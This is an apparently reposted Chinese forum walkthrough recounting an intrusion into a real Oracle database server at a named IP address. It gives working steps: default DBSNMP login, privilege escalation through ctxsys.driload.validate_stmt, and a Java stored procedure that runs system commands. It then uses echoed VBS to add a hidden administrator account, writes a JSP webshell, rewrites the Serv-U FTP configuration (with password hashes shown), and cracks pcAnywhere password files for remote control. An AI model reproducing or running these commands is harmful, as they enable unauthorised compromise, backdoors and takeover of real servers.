灰儿 发表于 2010-12-13 13:47:34

ORACLE数据库入侵

很久么写文章了,今天给带来篇ORACLE数据库入侵的文章。现在的网站 都是后台生成静态,注入一般都不怎么 好搞,只有通过别的方法了。目标站是2K系统,JSP与HTML页面。如图

这种站一般是使用SQLSERVER 或者ORACLE,使用superscan3扫描器对服务器IP大略的端口扫描。

开有FTP   WEB   1521明显是ORACLE数据库端口,ORACLE数据库默认安装以后有很多帐户密码都是默认的,如果管理员安全 意识不高很容易被人利用从而获得系统 权限。
首先要使用lsnrctl得到对方的SID号,使用lsnrctl工具连接对方IP的listener

   首先安装个ORACLE的客户端,在CMD里输入lsnrctl 进入lsnrctl后 执行
   Set current_listener 目标IP
   Status
   这个时候可以看到服务 china 和modose 这2个有一个是SID号
   使用Sqlplus连接服务器 格式这样的
sqlplus DBSNMP/DBSNMP@//202.98.123.79:1521/china

   成功登陆,执行 select * from user_role_privs;
   可以看出当前用户只具有CONNECT权限
   利用Oracle本地PL/SQL漏洞进行权限提升,成功提升为DBA权限
   Exec ctxsys.driload.validate_stmt(‘grant dba to dbsnmp’)
   
   SQL> Exec ctxsys.driload.validate_stmt('grant dba to dbsnmp');
   BEGIN ctxsys.driload.validate_stmt('grant dba to dbsnmp'); END;


   使用Oracle支持的Java特性,创建可以执行系统命令的存储过程,增加管理员账号(Windows平台的Oracle默认以system账号运行,所以我们执行的命令也是以system账号权限执行),下面创建一个JAVA源程序,以便执行系统命令。创建JAVA的语句如下:
   
   create or replace and compile
   java souRCe named "util"
   as
   import java.io.*;
   import java.lang.*;
   public class util extends Object
   {
   public static int RunThis(String args)
   {
   Runtime rt = Runtime.getRuntime();
   int RC = -1;
   try
   {
   Process p = rt.exec(args);
   int bufSize = 4096;
   BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
   int len;
   byte buffer[] = new byte;
   // Echo back what the program spit out
   while ((len = bis.read(buffer, 0, bufSize)) != -1)
   System.out.write(buffer, 0, len);
   RC = p.waitFor();
   }
   catch (Exception e)
   {
   e.printStackTrace();
   RC = -1;
   }
   finally
   {
   return RC;
   }
   }
   }
   /
   create or replace
   function RUN_CMz(p_cmd in varchar2) return number
   as
   language java
   name 'util.RunThis(java.lang.String) return integer';
   /
   create or replace procedure RC(p_cmd in varChar)
   as
   x number;
   begin
   x := RUN_CMz(p_cmd);
   end;
   /
   variable x number;
   set serveroutput on;
   exec dbms_java.set_output(100000);
   grant javasyspriv to system;
   
   将以上代码保存为一个sql扩展的脚本文件,然后存放在系统根目录下,这里保存为java.sql。执行如下语句进行自动创建:@ c:\java.sql
   有时候提升到DBA以后不能加载脚本,提示权限不够,需要推退出再登陆就可以了。
   执行命令语句是   exec :x:=run_cmz('cmd /c ver');

exec :x:=run_cmz('cmd /c net user');
net命令无法执行 ,netstat –an直接运行可以执行也不知道什么 原因

服务器貌似没有开3389,用户也不能加。
可以尝试下个VBS文件来添加用户
代码如下
exec :x:=run_cmz('cmd /c echo set wsnetwork=CreateObject("WSCRIPT.NETWORK") >c:\user.vbs');
exec :x:=run_cmz('cmd /c echo ^o^s^=^"^WinNT^:^/^/^"^&^wsnetwork.ComputerName >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set oa=CreateObject("Scripting.FileSystemObject") >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set ob=GetObject(os) >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set oe=GetObject(os^&^"^/Administrators,group^") >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set od=ob.Create("user","bob") >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo od.SetPassword "123456abc!@#" >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo od.SetInfo >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set of=GetObject(os^&^"^/bob^",user) >>c:\user.vbs')
exec :x:=run_cmz('cmd /c echo oe.add os^&^"^/bob^" >>c:\user.vbs');
vbs添加的用户名为bob,密码为123456abc!@#

由于vbs默认是用script.exe进行解释的,这里换作wscript.exe执行:exec :x:=run_cmz('cmd /c wscript.exe c:\user.vbs');
这也是个方法。
刚才netstat -an我们知道,服务器开了43958SERV-U和和80,可以利用DIR 找到WEB写JSP一句话马, 或者FTP目录破解FTP密码。
因为不是IIS,经过千辛万苦才找到WEB。在网上找了一个JSP的一句话马,把内容写到WEB一个TXT文件内,代码没错,注意>这个需要用^来注释才可以写写出完整的。写出来JSP马的时候发现代码没有正常运行,测试JSP马失败了。
SQL> exec :x:=run_cmz('cmd /c echo ^<% if(request.getParameter("f")!=null)(new j
ava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))
).write(request.getParameter("t").getBytes()); %^> >> e:\ftp\chinalww\chinalwwap
p\yp.jsp');

现在就只有去利用SERV-U了,通过DIR找到SERV-U的目录在
d:\progra~1\rhinosoft.com\serv-u\
exec :x:=run_cmz('cmd /c type d:\progra~1\rhinosoft.com\serv-u\servudaemon.ini
使用TYPE命令读取FTP配置文件 servudaemon.ini得到加密密码,

Password=cv3EA7C701EED1673E5A82873834B89E98
使用SU纯数字没有解出来,想了想还可以通过ECHO给SERV-U从新写个配置文件
FTP 目标IP 了解SERVU是6.2版本的,于是下载一个6.2的。使用目标服务器上的INI文件替换本机的 再添加一个用户进去。

把帐户设置成ADMIN ,浏览所有硬盘。

Version=6.2.0.0
ProcessID=204

Domain1=202.98.123.79||21|202.98.123.79|1|0|0

User1=chinalww|1|0
User2=ypde|1|0

Password=cv3EA7C701EED1673E5A82873834B89E98
HomeDir=e:\ftp
RelPaths=1
PasswordLastChange=1246846157
TimeOut=600
Access1=E:\ftp|RWAMLCDP

Password=utF4FC3085D83885D44B9A829B93E3F564
HomeDir=c:\
RelPaths=1
PasswordLastChange=1258704816
TimeOut=600
Maintenance=System
Access1=c:\|RWAMELCDP
Access2=D:\|RWAMELCDP
Access3=E:\|RWAMELCDP

依次把内容用以下格式写入。
Exec :x:=run_cmz('cmd /c echo Access1=e:\^|^RWAMELCDP >> d:\progra~1\rhinosoft.com\serv-u\servudaemon.ini');
值得注意的是| 这个分隔符号需要用^来注释 才能正常写入,如果怕写错可以先自己测试好以后在写。

使用FALSHFXP成功连接

打开C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 目录下载PCANYWHERE   后戳为cif密码文件 使用passview破解得到密码

使用FTP上传JSPSHELL 成功添加用户。JSPSHELL 加帐户,用PCANYWHERE 登陆。3389没开,所以要用他来管理服务器。

使用破解出的Pcanywhere成功登陆服务器。            

系统长时间 不使用会自动锁定,这个时候在成功登陆PCANYWHERE的时候就要解琐需要系统密码。还有就是这个服务器是JSP用的啥WEB服务器我也不知道,JAVA 之类的一注销他的用户网站就挂了。
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/kao_la_gou/archive/2010/04/20/5509023.aspx
页: [1]
查看完整版本: ORACLE数据库入侵